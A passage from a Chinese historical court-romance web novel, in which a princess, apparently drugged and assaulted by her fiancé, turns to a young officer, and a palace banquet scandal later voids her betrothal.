沈磐冷笑:“怎么不行?不要就是不孝么?那你犯过的不孝之事,可比区区一个驸马名分来得金贵啊。”
霍开武的眼睛冷幽幽。
突然,他笑道:“这还没成婚洞房,公主就这么在意将来的嫡庶之事了?”
不待沈磐开口反击,他兀自晃晃酒瓶道:“公主放心,这些事我还是能处理好的,绝对不会让那些下贱的东西脏了公主府的地。”
沈磐一扯唇角,“看来霍员外没有理解本宫的意思。”
霍开武目光一凝。
“他们的母亲含辛茹苦地生下他们,虽然岌岌无名,但不论是男还是女,他们都活着,活在人世,那你就是有家有室的人,那你就是在骗婚。”
霍开武眯眼。
“而你如果要灭口,那就是犯律。”
“公主在说笑。”
“骗婚犯律,家宅不宁,这就是不孝。哦,还有,你父亲霍大将军知不知道你给他开了这样大的玩笑?”
霍开武仰头又灌了一口酒,“为了和嵇阑那个畜牲厮混,公主真是无所不用其计。”
沈磐靠上车厢,一幅无所谓的模样。
霍开武喝尽瓶中酒,猛然靠了过来,用酒瓶撵上沈磐的右脸。
“看来你真的很喜欢那个畜牲?嗯?那猜猜,今天他断了几根肋骨……”
沈磐一个巴掌扇了上去,扇得霍开武右耳一嗡。
他舔舔嘴角的腥甜,即刻转过脸压了上来,径直咬上沈磐的嘴唇。沈磐吃痛,手腕更被他掐在掌中,像是捆了铁链,他整个人更重得像一块玄铁,已经被妒火烧得通红滚烫的玄铁。
酒瓶“嘭”地摔在地上,马车也刹那驻停,车门被大力拉开,等沈磐缓过当前这阵晕眩,睁眼时的霍开武就被长缨卫掀到了路边。
他大笑着,抹着嘴唇上的血,从地上爬起,又吹了声哨子,招来自己的坐骑便掉头离开。
沈磐只觉得眼前的天光太过刺眼,让她根本不敢睁眼,“关……关上!”
长缨卫不敢违逆,只能合上车门。
门合上的那一刻,沈磐只觉得自己落入了一片火燎的荒原,天是烫的,地是烫的,她碰上自己的皮肤也是能激出火的滚烫。
“混账!”
她骂人的声音也是沸腾的。
沈磐喘不过气,压上胸口的手蓦地扯松衣领。现在已经是八月天,过午的日头却要比盛夏还要毒辣。
她这个鬼样子一定会吓到沈斫他们……
沈磐脑中一团浆糊。
“公主?”
长缨卫在唤她。
沈磐又骂了一声,扶着车门跪坐下来。
“没事。”
她冷静了好久方才平复,随手撩了一把已经被自己扯得凌乱的头发,撑着车门蹲了起来。
“公主?”
“去公主府吧。”沈磐出声打断长缨卫的话。
马车又缓缓走了起来,车身一晃,沈磐脑中又乱麻一团。
她想到了张永一,那时候他牵着自己时,手也如此刻滚烫。
她伸手贴上自己的额头,只觉得自己是发烧了。
也不知道霍开武给她吃的什么脏东西,脏东西必然在酒里,可霍开武他怎么没事?
沈磐气得七窍冒烟。
“公主到了。”
沈磐又等了等,待到自己彻底平复才推开车门。但她下车的步子还在打颤,再想到霍开武那副小人得志、阴谋得逞的模样,直气得她自骂是只软脚蟹任凭拿捏。
她的公主府也如同她这个主人一样,是无能狂怒燎原烧山过后的一片死寂。
沈磐仰头看看那空洞洞的牌匾。
公主府还未完工,她只在图纸上怀着指点江山的激荡心情参与过布局,曾也在闲极无聊时畅想过府中情状,今天是亲自参观的第一回,沈磐说不出是激动些还是担心些。
这是独属于她的地方,名义上如此,实际又未必。况且这一番装潢究竟有几分贴合她的心意,谁又能说得准?但太子也曾喊她出来“监工”,却被惰怠的她一口回绝,故而无论装成什么样她都认。
府里已经有奴仆在收拾了,迎出来的小丫头长很喜人,名字也很喜人,叫团圆,但见了自己,尤其是这样衣冠不整阴气沉沉的自己,有些害怕。
她推谢了团圆要搀扶自己的美意,提起湿了半边的裙摆登上台阶。
张永一就骑着马站在街口,远远确认她大致无碍,才愿掉头回家。
就在此时,沈磐毫不经意一偏头,便看见了马背上的他。
今日出门,他是特意收拾过的。
相亲这样的人生大事,自然再重视也不为过。只是郇萦心思飘忽不在他身上,故而她什么福气都有独独饱不了这样的眼福;而她呢,此番行径和鬼祟偷摸的梁上君子觊觎邻家稀世珍奇别无二致。
她看他,他也看她。
张永一疑心是他的错觉,他一定是气得、悲得、后悔得昏了头,错以为沈磐看他的这一眼长比三秋。他才起了这样的想法,就见沈磐转过脸和婢女说了几句话,随即就像从未在巷口见过任何人一样,抬脚迈进了崭新的公主府头也不回。
张永一的心骤然坠落。
那婢女跑了过来,又将他的心霍然提起,“张郎中,我家公主请您喝杯茶。”
**
当真就是喝一杯茶。
张永一坐在一处花厅,团圆亲自泡了一盏茶呈到他手边。
府里的装潢大致完成,只剩些纱幔绸帐还没挂上,故而显得有些冷硬。
张永一小心接过茶,谢过后,慢慢打量起这座花厅。
其实他根本来不及打量,所有的目光便被身后连排的琉璃花窗吸引。
窗外是一处狭长的天井,两侧游廊夹着一面斑驳粉墙,井中栽植的那棵俯仰有致的巨木,就如卧龙睡虎般倚靠墙前。这花厅取的应该是江南景色,但这未名之树枯皮漆黑而纹路毛糙,旧枝虬曲苍劲嶙峋,新条清癯披靡直上,像古战场上一个饱经捶打历练、扛旗着甲就死的守将残骸。
张永一对着窗外此景凝注良久,这才在凭空卷地裹沙携腥而来的罡风中垂眸。
他不知为何,见此树即想起燕王沈斫所说,宁远的雪很大,陆将军坟前的松树都被压塌了。
张永一深吸一口气,就嗅得身后大门开合而起的风送来一阵的冷香。
就像那个上元夜一样,沈磐走到他身边不过寸许之地。
“是玉梅,比雪还要白。其实我想找一株胭脂梅,要比火烧还要漂亮,只可惜看中了一株,匠人说胭脂梅娇贵,化隆的水土干涩,不是它的归依所在,难活,只能作罢。”
“白梅也好,‘不要人夸好颜色,只留清气满乾坤’。”
沈磐敛眉,“它开在春天,这点香也没什么意思。”
“梅有四德五福,开百花之先、独天下而春,‘四君子’、‘岁寒三友’独赞梅花……”
沈磐扬眉轻笑:“不想,你居然也有些墨水,并不是一个只知道舞刀弄枪的武夫。”
张永一耳根一热。
沈磐几步走至窗前,示意他环顾花厅,画案书架、空无一物,屏风錾银、如凝霜雪,桌上的茶已冷,屏风后的博山炉虽点着香,但香更是冷的。就算挂上了各色纱幔,张永一觉得,这里还是冷得可怕,像是万年不化的雪山之巅。
“若窗外之梅不比火还要红,哪怕是春天,这里也是一处冰窟。”
但张永一看着她,很想说,有她在,便是冰窟也成暖春。
可他没说。
他总觉沈磐刚刚假借匠人之言,在说胭脂梅难求,也在说她生于皇室,“随性自在”亦难求。她是她自己口中“没什么意思”的白梅,已无颜色,这点暗香她更瞧不上的。但她抬手,她要推开她的窗,窗外的秋风撩起她的衣袖,不经意散出的气息却让他的淡然从容随风消散。
她站在轰轰烈烈的天光里。
张永一被晃了眼睛,已然不能再看。
可他怕错过沈磐回首时的每一个表情。
“张永一。”
再睁眼时,沈磐已经站在了梅树下。青砖拢过的新土刚浇过水,她一个脚印上去,洁白的裙摆上就落了一处泥点。
他不自觉迈出半步,想走入天井,走得离她得更近些,但沈磐又出声,他就像个被抓包的窃贼脚下生根。
“千秋节后沈斫就要走了,你去送送他。”
张永一望着沈磐似经冬雪化有些松动的神情一口应下:“遵命。”
他在等待、妄想沈磐如先前一样问他“遵何人之命”,然后他便能将霍开武被长缨
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卫掀下来的时候、看见她嘴唇上伤口的时候,心中积蓄的悲愤与渴望全倾注于一句“谨遵我心之命”。
这是明晃晃的示爱与表白,逾越礼数和理智的一场剖白和陈情。
他像满载战利的猎犬,着急地等待主人的召唤。
可沈磐只是沉默地看着他。
看着他百爪挠心、沉浮不定;看着他心火渐熄、归于冷寂。
然后呢?
诉完了衷情,然后呢?
然后就没有然后了。
张永一后退半步,似能彻底退出这场单方面的折磨。
可沈磐又喊了他一声,“张永一。”
他情不自禁再入囚笼。
“公主有何吩咐?”
“张永一,化隆的水土养不活胭脂梅,也不适合你。”
沈磐伸手别起鬓边的碎发,“你的心思太浅,什么也藏不住,轻而易举就让人捏住了底牌。宁远勉强能道一句‘衣冠简朴古风存’,你又建过功,那里尚有你的一席之地。但化隆是吃人不吐骨头的饿兽,没有人能全须全尾、问心无愧地从这里走出去——慈悲寺的《地狱变相图》极其出名,你今天看过了吧?”
张永一望着她,眼睛迷了沙。
沈磐敛容,“这里脚下的每一寸土,都埋着尸骨、长着恨毒,恨人时,你就身在炼狱。所以化隆之地,也是炼狱之城。”
她抬眸看,张永一的目光里的复杂,果然能分解出一缕缕的心疼。
他果然没有恨过人,他果然不懂。
他也不要懂。
“郇萦很好,她洒脱得不像是出生于此的人,但郇家涉水太深、羁绊太多,不适合你。你应当娶一个和是非牵扯毫无关系的姑娘,和她好好地过完这辈子,按照你祖母祈求的那样,平安顺遂。当然——”
沈磐吐出一口浊气,“离开化隆,才得自由。”
张永一只凝望她并不说话。
沈磐慢慢捋顺肺腑之中四处乱串的邪气,勉强扯一个笑:“怎么不说‘遵命’?”
张永一垂下眼,“臣不能遵命。”
那股气堵在心口,闷得沈磐喘不过来,但她还记得要在张永一面前尽可能地从容,便侧过身按着心口,刻意挑眉质问:“你看上了郇萦?”
“没,郇姑娘她……”
“那就是牵绊功名利禄了。”
“臣有自己的志向,从前以为,只有在边疆的战场上才能实现,可自从陆将军病逝、臣回到了化隆,又目睹了元良郡王满门的冤屈无处申告,臣这才明白,化隆才是我真正应该戍守的地方,这里才是真正的战场。”
他的话像柄匕首,贯穿她的心脏。
沈磐口中喃喃:“是非地,攀云梯。可是张永一,在这个地方,你就像被扔到战场上的我一样,手无缚鸡之力。眼下有你祖母梁国长公主顶着,有你张家的族亲顶着,你安坐一旁,得观巫蛊案不必因为生存被迫下场,这时,你还能有良心,有志向……”
“公主,臣从来不是羸弱巽懦之人,此时在权力面前略逊一筹,但未来在前——”
“未来会发生什么谁也不知道。”沈磐转身看向手足无措的他,“乱花渐欲迷人眼。”
“是,在化隆这个地方,很多人都会迷失,臣也不例外,很多时候都忘记自己为何而来、将往何处去。但臣终于明白,臣要去边疆、也要上朝堂,臣从不怕是非,也不畏惧纷乱,只怕不能实现自己的抱负、不能承袭师长的志向、不能看见自己的愿望变成真……”
沈磐望天。
他的话其实真的很苍白,就像这片空空如也的天。
他很急,很急很急地要向自己表衷心。
可她要这样的衷心何用?
沈磐只觉得心口堵着的气散了,可除了心这处灶台,该烧的地方熄了火,不该烧的地方却着了火,烟熏火燎,掀翻天。
今天这场有些逾越的对话理当暂停,但今朝一停,就永远也不会有这样的机会再听一听彼此的心。
其实她早就听得懂了他的心。
她沈磐站在皇权的最高一级台阶上,这正是张永一想要来的地方,为何而来不必计较,只需要看见,她和他的志向在一个方向,而这世上的所有人,明知道鱼与熊掌不可兼得,却还要南柯黄粱地梦一场。
理当谴责,但沈磐清楚地知道,她自己也就是这样的一个人,有时候自私贪婪得只能周全自己一个人的欲望,根本管不上旁人死活。
知道他们有时候是一样的人,沈磐就再没有什么舍不得了。
他们都不是幸福美满家庭里出来的孩子,皇家从不幸福,张家也缺尽美满。可张永一总像一个幸福疼爱捏成的泥俑,又或者是温仁良善捧大的娃娃,总让人舍不得摔碎了。
沈磐不明白,这个在沙场上都能风云叱咤的男人,在她眼里怎么就成了一个泥俑娃娃。
他好像刀枪不入,她却担心会摔碎他。
沈磐忽然笑了一声,直直撞入尚且有嘴说不清的张永一的眼睛。
她别起头发,“你从不怕纷争对么?”
张永一辩解得心焦神躁,安静了一瞬,随即坚定道:“是。”
“起风了。”
沈磐往回朝他走来,自然地伸出手,伸到他的眼前。
张永一低下头。
他本该像那天在宁安侯府前扶她上车一样接过她的手,可他竟在犹疑。
沈磐歪过头,“嗯?”
他即刻托住。
她的手像一块温热的羊脂玉,而他的手在抖,像要捉摸虚无缥缈的一场梦。
“劳烦张郎中关窗。”
“是。”
23. 第二十三章 莫平意(五)
自天井中回来,一进屋,沈磐就觉得更热了。她不禁有些脱力地攥住屏风沿,强装镇定地借力靠上片刻,等花窗被张永一重新关好,她这才松了手走到屏风隔出来的里间。
她的背影像一道残烟吹散。
张永一猜到她恐有不适,便追了过去,一过屏风,他也不知道发生了什么,只觉得屋内气氛骤然变化,那座博山炉里的熏香腾腾而上,分明是很空远清幽的味道,却似蒸笼下的烈火炖干柴般草率鲁莽,硬是将他闷得浑身冒汗。
这只是短短的弹指之间,他就已经热得心神摇晃。
沈磐扶着屏风,不知在想什么。
突然她转身看来,张永一下意识地后退一步,眼神也随之有意躲闪。
而对面,沈磐目不转睛地望着他。
他们的眼神,似是在玩一场猫捉老鼠的游戏。
沈磐微微一笑,笑中并无兴味,倒是无奈。
她还是不该拉张永一下水,有嵇阑陪着就行了,为何还要脏了他的路呢?
张永一看得见沈磐眼中的纠结,他想上前,却还是选择后退。
后退半步,便能引来沈磐的一句问候:“张郎中怎么了?有急事?”
张永一连忙应道:“没……没有。”
可话一出口,他就有些后悔。
他好像猜得到可能会发生什么,这本是逃之夭夭的绝好借口,哪怕沈磐不信,也好过这样试也未试就束手就擒的好。可一时半会儿,他又不敢断定,束手就擒,被沈磐的眼神“擒”住后,究竟会发生什么。
他竟然又有些舍不得一走了之。
沈磐一幅恍然的模样,点点头,“这样啊——”
张永一的心被沈磐的这三个字吊了起来。
可他耐心等,却什么下文也没有等来。
他小心地抬眼瞟过去。
沈磐安静地站在那里,像琴台上孤玉瓶中的一枝含苞花,接受自己的目光,也一瞬不瞬地看着自己。
她的眼神里,似有探究,似有奇怪,似有欣赏,似有不忍,还似有什么期待。
张永一说不清自己在这刹那间的对视里,究竟在沈磐的眼睛里看见了什么。
他现在只看见,她一边洁白的裙摆被踩在她的鞋履下,另一边则被一小块泥点子脏污了色彩。
沈磐是一块玉。
绝世珍惜的美玉。
俗人这辈子流落草莽、高登庙堂也见不了庐山面目的玉。
就曾捧在他的手心。
忽然,张永一看见沈磐踩着裙摆的鞋子一抬,居然是要朝他这里来。
他连忙抬头,却见沈磐转了个身,提着裙子往里间深处走去。
他松一口气。
却听沈磐淡淡道:“张郎中,本宫有件事要请教你。”
张永一呼吸一促,进也不是退也不是,只能望着沈磐的背影在原地傻站。
沈磐皱眉回头,“张永一?”
张永一应一声:“公主有何事?臣若能帮上,定当竭力。”
沈磐微一挑眉,“你连是什么事情都不知道,就这么夸下海口?”
张永一一噎,片刻他揖礼:“请公主明示。”
沈磐凝眉,似是极其不悦。
张永一大着胆子抬头,立时对上了她的眼神。
他不想惹沈磐生气。
“你到这里来。”
但沈磐的声音已经很冷了。
张永一略一思忖,将各种礼节都掂量遍,最终还是先于思虑行动,垂头错目缓缓踱到了深侧。
“这里没有别人。”
张永一心鼓擂得响亮。
“不用讲这些虚礼。”
他看见沈磐掩在宽袍大袖中的手突然抬起,他的心跳不由又急了几分。
“请张郎中站到那里。”
张永一顺着她的手指看去,顿时一惊。
那是临窗的一张美人榻。
公主府新建,屋里的家具也都是新打的,这张榻虽然被人仔细擦洗过,但崭新的榻面上光秃秃一处饰物也无,生冷冰凉得让人心梗。
张永一愣住,看向沈磐。
她一脸坦然,倒让自己显得龌龊。
张永一微一迟疑,还是抬脚走了过去,在沈磐指着的位子站好,然后静静等她开口。
沈磐却不再说话。
沉默似是无处不在的窥伺,这让他如同被扒光了衣裳袒露在光天化日,难以忍受。
若没有这些折磨,光是看着沈磐站在那里,什么也不说,这就是披荆斩棘、登峰造极也换不来的勉励。
沈磐似是也难以忍受什么,终于在张永一的注视下,迈出了向前来的第一步。
一步步地接近,她像是踩入了自己的心鼓。
她身上缠绕不散的幽香逐渐浓重。
他自己的呼吸声也越发响亮。
张永一又要后退,可亏他神智清醒,记得自己退无可退,后面是一张三五个人横卧也不嫌逼仄的长榻。
他只退了半步,沈磐就已经走在了身前一臂之隔的地方。
这时只要有一阵清风拂过,他们的衣袖就能纠缠到一起。
终于,张永一再也不能任由这样的距离一点点击溃自己的防线,他霍然抬头,张口就要告辞,却是眼前一花,一股温热的气息就喷在了自己脸上。
他不可置信地垂下眼,就见沈磐的鼻尖蹭着自己鼻尖,她的睫毛又密又长,轻轻一扇,那双能盈满园灿烂的眼睛就这样送在了自己眼前。
嘴唇上一凉。
脸颊也落入了水晶般清凉的一双手掌。
张永一似要窒息。
他浑身僵直,只愣愣地低头,眼看着沈磐又亲上了自己的下唇。
这是蜻蜓点水般的一个吻,却如同溅落了一粒星火种在一片荒原。
沈磐捧着他脸颊的手贴着他的皮肤往脖子划去,拇指却擦过他的下唇,最终又停在了嘴角。
张永一僵结的思路刚刚活络,正要握住她的手,就听自己乱麻似的呼吸像是被斩刀砍得绳结飞迸,而沈磐又亲了上来,她的呼吸更乱得满目流絮。
这不再是蜻蜓点水了,而似两人有什么深仇大恨,她咬得又重又恨,可力到唇上又克制地收住,只是看起来、听起来很怂人,但一点伤口乃至痕迹也没有留下。
张永一眼前又是一花,居然仰面被沈磐推倒在榻上。
这张榻很硬,膈得他用于支撑的手肘有些疼。他不由得担心,沈磐这毫无章法的姑娘,膝盖要是磕在了榻沿这该疼成什么样子。
想着,张永一撑起上身看过去,就见沈磐只站在榻前,一双幽幽的眸子凝视着自己,从自己的嘴唇一直流转上他的脖颈,再一路往下。
张永一脑中“轰”地一声一片空白。
他还来不及做任何反应,沈磐就俯下身,跪在了榻沿。
看着雪白藕花瓣似的裙摆落在自己身上,张永一心鼓剧烈。
沈磐俯下身,张永一一把攥住她的手。
似在暗暗较劲。
可忽然,沈磐一撒手,全然不再碰自己的模样,他那只还握着她腕子的手便尴尬起来,仿佛握着火中之栗。
他只能松手,刚要想办法离开,就被沈磐捉住了手指。
“公主!”
沈磐不应,她的手掌细腻温暖,却让人想见这样的手掌攥着自己的心脏,狠狠压榨。
张永一的呼吸也有些阻滞。
沈磐微微抬身。
张永一豁然握住她的手掌。
“公主!”
沈磐却还是不管。
在她目不转睛地注视下,张永一忽然就听见自己胸腔里那颗已然被沈磐牵制手中的心脏,闷闷的心脏,一下子就疯狂起来,收缴回来的血液,随着沈磐的牵引,瞬息又激泵了出去。
他的指尖一热。
好像是他的血脉承受不住这样的冲力,任凭那已经散去滚烫直至温凉的血液,迫出表面。
血是温热的。
不是鲜红鲜红的,却是一直泰然从容的沈磐的脸色。
他的心,更加兴奋了。
如同决堤的悬河,两岸是一片哀鸿泥泞,他血脉破溃之处,也是血肉绞缠,泥泞不堪。
似真的淅淅沥沥流出了血。
张永一哑着嗓子要叫沈磐的名字,崩溃边缘的神智还提醒着他,这很犯忌讳。
他用了力气,要从沈磐手中抽回,忙乱中,指尖刮到了沈磐,她“哼”了一声,
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露出来痛苦的神色。
张永一慌了,连忙松了力,却正好落入沈磐的罗网。
他忽然想起了东北宁远时,刚从战场上下来,同袍又自己扛着,双肩刚一着地,箭口里的血便止不住地涌了出来。
涌了出来。
将破烂的衣物、冰冷的箭簇、炸开的木渣,还有翻绞的皮肉,一并洇湿沾透。军中的大夫就是这个时候,往这样的伤口里伸手掏的,沾着凝着的手指便往更深更艰涩之处按。
痛叫,痛叫,痛叫。
大夫的近端指节都没了进去,痛叫又止在了喉咙。
最慷慨的血红色,无比迫近的死亡,全都封在了口中。
张永一的视线就在这样的痛叫中模糊,一恍惚,重又看见了眼前近在咫尺的沈磐。
她下意识地咬起嘴唇。
“公主——”他的声音是出人意料又意料之中的沙哑,“痛就算了。”
闻言,沈磐终于没有当耳旁风,而是抬眉扫了过来。
张永一以为她终于松动放弃了。
但他还记得那个时候,大夫将箭镞挖出后,鲜血便像泉涌一样,一股一股,一下又一下,从更深更深的地方,一下又一下涌出。
彻底占据了视野。
红,红,红,散着热气的红。
同袍却忽然笑起,而眼前的沈磐眉宇间也似有得意之色。
张永一顿觉血热。
忽然,他听见沈磐笑了。
很轻微。
他听着却如同打雷般清楚。
他的心好像也破了口。
到处是令人晕眩的血红色。
“公主……不……”
“你不许说话。”
张永一居然就不再说话。
她的声音居然还是这么清明。
趁此时,他抽回了手。
他的力道有些大,带得沈磐都跌坐了下来。
他刚要将人小心从自己身上推开,就见自己的指尖居然真的挂下了一道血丝。
沈磐也望着他的手指,不知在想什么。
张永一不敢再看,卷起手指,刚要起身,沈磐的手就按了下去。
他闷哼一声,就被沈磐又压了回去。
这一回,她似是彻底没了耐心。
裙摆如花落盖下,周遭一片衣物杂乱,可最紧要处,他们只有一衣之隔。
张永一不敢动了。
沈磐的举动撵得他痛,痛得头上青筋直冒,像是他变成了记忆里躺在血污之中的同袍某,他中箭的心口,还爬上了一条嗜血的蛭。
她抬了抬身子,那条冰滑的蛭便往伤口里面钻。
可顾不得这些,怕沈磐摔倒,张永一下意识扶上她。
沈磐盯上他的手。
张永一直觉被她看到的地方都火辣辣一片。
“公主。”
他摇摇头。
沈磐又不理他了,只要去牵他的手。
他死死扣住。
似是早知道会这样,沈磐似是耐心耗尽,不愿再玩这样拉扯的游戏,趁着张永一心神摇晃之际,又一抬身,胡乱扒了几下就口口口口。
两个人俱是轻哼。
张永一终于急了:“公主,于礼不合……”
他极力稳着气息。
沈磐平复了呼吸。
张永一双手箍住她。
“你也要我嫁给霍开武吗?”
张永一霎时沉默。
“你不是从不怕纷争吗?”
“你不也有此意吗?”
片刻他问:“你想清楚了吗?”
他没有听到沈磐的回答,却得闻当年大夫反取箭簇时的刺耳声,和更加响亮的,对死的恐惧声。
全都充斥着耳畔。
让听的人都能感到痛。
太痛了。
她太痛了。
张永一顾不得自己,连忙要扶有些摇摇欲坠的沈磐。
沈磐笑了。
脸颊微红,笑却有点苍白。
白的,红的,张永一的视野都匮乏浑浊起来。
可沈磐的衣裳色彩,如旧鲜艳。
如她这个人一般,从那血肉模糊的记忆里,一下子鲜亮清晰。
24. 第二十四章 莫平意(六)
张永一像是做了场梦。
梦醒了就回到了现实,现实还如同一碗已经烧得干净的香灰冷败。
梁国再没有提起郇萦,想来襄阳侯府里也再没提起自己,他们这段相亲以两个人各自分道为结。
他也一连十日都没听见关于沈磐的任何消息。
好像真如一场梦散。
那天他是怎么离开公主府的?他是牵着马一步步走回来的,从通化门附近的公主府一路走回了家。出门时西边还是一片火海煊赫,到家后秋夜如水风凉露重。
他应付完祖母,打发了义然,一个人走进暗不见天夜里。
手中还能抓住一脉沈磐的气息,指尖凝结着一丝血。
可这就成了一场梦。
诀别之梦。
他抓不住,就这么散了。
张永一深吸一口气。
今天是千秋节,他又只能像从前那样,隔着人山人海远远地望她一眼,见她平安,见她脸上还带着笑,心情似还晴朗,便觉得格外满足。
真是这样吗?
张永一攥着手指,跟着张绰穿过宫前殿。
说起来他们还是皇亲,宫前殿是招呼外臣、微末之臣的,他们吃过一盏酒便能到前廷后宫的交接之所太极殿去。
这就又能离沈磐更近一点。
更近一点。
太极殿上有丝竹表演,他和张绰坐在最末缘,眼见着霍开武跟着霍辄走了进来,坐了会儿又跟着他四叔霍轶走了出去。
卿茂山、辛自宽、冉琢明、梅依径、陶识礼、方继昌,这些大人物他都已经面熟,还有面生的有张绰给他介绍,一会儿是早已退休的前大理寺卿薛康文,一会儿是将将告老节后就要返乡荣养的前户部尚书王立镛。
郇翾没来,说是病了,但太子妃旁坐了一位女子,看面容应该就是郇翾的同胞妹妹。太子和陈王各自坐着,晋国公主和郇渰也各自坐着,沈斫一个人坐在一边闷声吃着桌上的肴馔,连张吉鹊他都见了,独独没有见沈磐。
她没来。
她身体不适?
她还好吗?
张绰都看出了张永一的焦躁,碍于人多眼杂,便没多问。
陈王为陛下贺寿,洋洋洒洒写了千字贺词,念得满堂生彩,颓靡的皇帝眼里都放了光。
张永一于文辞上没有造诣,但陈王的文采是门外汉听来都要赞不绝口的。
沈斫也在鼓掌,眼里的赞许不是伪装。
张永一蓦地想起那天,陈王私闯光武门,为了给他求情。
他们是兄弟。
他们是吗?
陈王的文辞更好,燕王的笑容更微末。
陈王的衣冠越发华丽像个大人,那天承天殿前燕王的衣袍便淌下更多的血。
他娩出于生日,他降临在死期。
众公卿皇子向陛下举杯,祝过万岁之后,燕王应陈王遥敬的酒,沈斫垂眸喝了,对面那个少年却高兴得手抖散了酒。
张永一不知为何,觉得这一幕荒谬。
太怪了,太怪了。
他刚提起酒壶,张绰就按住他的手,“别喝了。”
张永一奇怪:“没醉。”
张绰还是夺过了酒壶,摆到他那边。
“怎么了?”
张绰严肃道:“一会儿我有事和你说,关于你的仕途。”
张永一点点头。
那天沈磐身上有淡淡的酒味。
他问她想清楚了?
她一定没有想清楚。
她应当后悔了,避而不见;她也应该后悔的,把自己交给了一个前途不明又瞻前顾后的胆小鬼。只有在喝醉了、神智被麻痹了,他才会想着不顾一切地去御前请旨,不顾一切地求娶她。只要稍稍清醒,他就恨不得杀了那天的自己。
他真是一个可憎之人。
要承袭师长遗愿,又抛不下血脉情亲;决议入朝堂厮杀,却平白连累她。实现他的志向和名正言顺站到她身旁可以成为同一件事,可张永一就是觉得太错太错了。她想要的是静水深流,他却在追风逐沙,她求一场平安,他要一次纷乱。
太错了。
他们现在这样又算什么?
情人吗?
有情人吗?
他都已经是抛去血缘外与她最亲近的人了,他还不敢断言。
若说要断呢?断了自己的孽情?
可只要一听见沈磐的声音,哪怕只是听见她的名字——
宴至热闹处,忽然有一声幼童的哭喊从殿外传来,像是一把剑割裂了这一片繁荣图景。
“皇爷爷!皇爷爷!”
殿内还闹着,连正中央视野最好的达官显贵都没看清这孩子的形容,张永一就暂住了呼吸。
“皇爷爷!他打了姨母!他侮辱姨母!”
“郇渊!”
沈碧和郇渰霍然站起,龙椅上半仰着的永济帝也突然惊醒,殿上为之一静。
在座之人半个念头还没划过,连郇渊的父母尚且没消化完哭嗓着的郇渊究竟在说些什么,就见上首一道人影掠过,居然是沈斫,衣袖掀翻了桌上杯盘也不管,一声不吭拨开挡路的人就冲出了太极殿。
殿上叮铃咣啷响了一片。
张绰眼疾手快按住了张永一,使了狠劲儿将人压回了位子上。
沈碧一把拉住要往龙椅上跑的儿子,“郇渊你说什么?”
郇渊拽住母亲的袖子,“霍……霍开武打了长平姨母!”
郇渰一把擒住郇渊要去抹眼泪的手,就见这稚嫩的手背上落了一道血痕,还有瓷片的碎渣留在翻出的皮肉之中,他瞪大了眼睛。
那边坐着的霍辄即刻起身,太子同时抢了上来,“父皇!”
永济帝抬手,所有人都看了过去,却无人敢猜他这一抬手一落掌之下,将要翻起怎样的波浪。
**
“何苦呢?”郇萦关上门,端着一碗药走到床边,幽幽叹道。
沈磐才靠着枕头闭目小憩,闻言,睫毛一翻,才哭得通红的眼睛里霎时涌出了血气。
是杀意。
郇萦将那碗药递到她手边,“放心,我不会告密。”
沈磐刚要伸手,就看见自己的手腕又青了一圈,指背也被刮起了皮,顿觉刺眼,便放下手。
见她不接,郇萦在床沿坐下,将药碗递到她眼前,“毕竟我也没什么秘密可以告发。”
沈磐这才又抬起手,手指刚搭上碗边,就听郇萦问:“辛翩翩为什么要与你合谋?”
接过碗,沈磐淡淡反问:“你猜。”
郇萦打量她,半边脸有些白,半边脸又有些肿,嘴角还破着,低眉不笑挂下唇角,的确是十足的委屈和十足的怨恨,的确与方才在陛下面前一模一样。
她其实与沈磐打的交道不多,偶尔的模糊印象里,她领着辛翩翩等看上去天不怕地不怕的刁蛮姑娘们四处招摇,笑是戏谑的,怒也是假装的,傲气却是十成十如假包换的。
她简直能跋扈成一只斗鸡。
“何必呢?把自己弄成这样。”
沈磐一口饮尽碗中苦涩,“郇萦,不是每个人都有你这份运势。”
郇萦回视。
“辛翩翩也一样,若不想被安排,就只能自己来。”
郇萦要接回碗,沈磐又不松手。
“你有恩爱父母、慈善兄嫂、开明长辈,不争,不抢,不怨,你自随心所欲无人干扰。”
郇萦的目光落在空了的碗中,“你也不差。”
沈磐忽然笑了,松开手,任由郇萦把药碗拿走。
“但我姓沈,翩翩又要被嫁给姓沈的人——”
郇萦眉头一蹙,“陈王?”
“聪明。”沈磐不自主叹息,“陛下与英国公透露过,想要让翩翩嫁给陈王,以便在新旧公侯中平衡与东宫的势力和关系,毕竟西北军功出身的霍系公侯与他们极其不睦呢。”
“不必和我说这些,我不想不知道。”
“你只需要知道,上一个不争不抢不怨的沈姓宗亲,是元良郡王。”
她分明想把这句话说得既狠又绝,但说到“元良郡王”,心底的伤怀终究是乘虚而出。
太痛了。
郇萦只是听过一耳朵元良郡王府的惨案,这便也感受到了沈磐这种锥心之痛。
元良郡王的名声满朝皆知。
绝无二心的人却成了巫蛊真凶。
郇萦端着空碗起身,“除了我和郇渊,应该没有别人看见辛翩翩晃荡在附近给你通风报信。”她也叹了一声,“郇渊是个很好的孩子,他是真的担心你被霍开武欺负……”
沈磐阖眼,不知为何却看见了搂着她的脖子叫“姑姑”的仪明。
很好的孩子。
“过几天我就会南下,除非我弟弟娶媳妇这样的大事,我应当不怎么会回来了。”
沈磐睁开眼睛,吐出一口气:“离开也挺好的——是苏州吗?”
“嗯,和我姑姑一起。那个院子很漂亮,栽了很多桂花树,边上还有一片山头,池塘里都是荷花——”郇萦的视线落在沈磐脸上,“你若来,我带你逛。”
沈磐扯下嘴角,并没有答话。
她差点就要答应这个邀约。
郇萦是个很真诚的人。
她不能骗她。
沈磐又闭上眼。
她们这辈子都不可能一起逛山水。
门外好像来人了,沈磐这才记起来问:“这是什么药?
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”
郇萦道:“安神药。”
但这神怎么安?
沈磐一眼就看见站在门外不知在出什么神的沈斫。
太子看着她叹气,太子妃薛元映为她梳理乱发,沈碧把郇渊牵了过来,郇渊一看见床上灰败的她,就挥舞着刚包好的肉拳头跑了过来,“姨母!没事了,皇爷爷狠狠罚了他,姨母再也不用见到他了!”
“是吗?”沈磐很疲惫,却还是扯了个盛大的笑,“郇渊疼不疼?”
郇渊举起包成馒头的手,“哈哈”地笑:“不疼,萦姑姑夸我可勇敢呢,璩弟弟和玥儿妹妹也很崇拜我呢。”
沈磐捧着他红红的脸颊,“真棒,姨母也觉得郇渊特别勇敢,姨母特别感谢郇渊。”
郇渊又笑得见牙不见眼。
沈碧将儿子拉了回去,神色淡淡,“如你所愿,婚约作废,好好休息吧。”
太子妃连忙安抚道:“磐磐没事了,陛下革了他的官身,命他回家思过,都没事了。”
沈磐垂下眼。
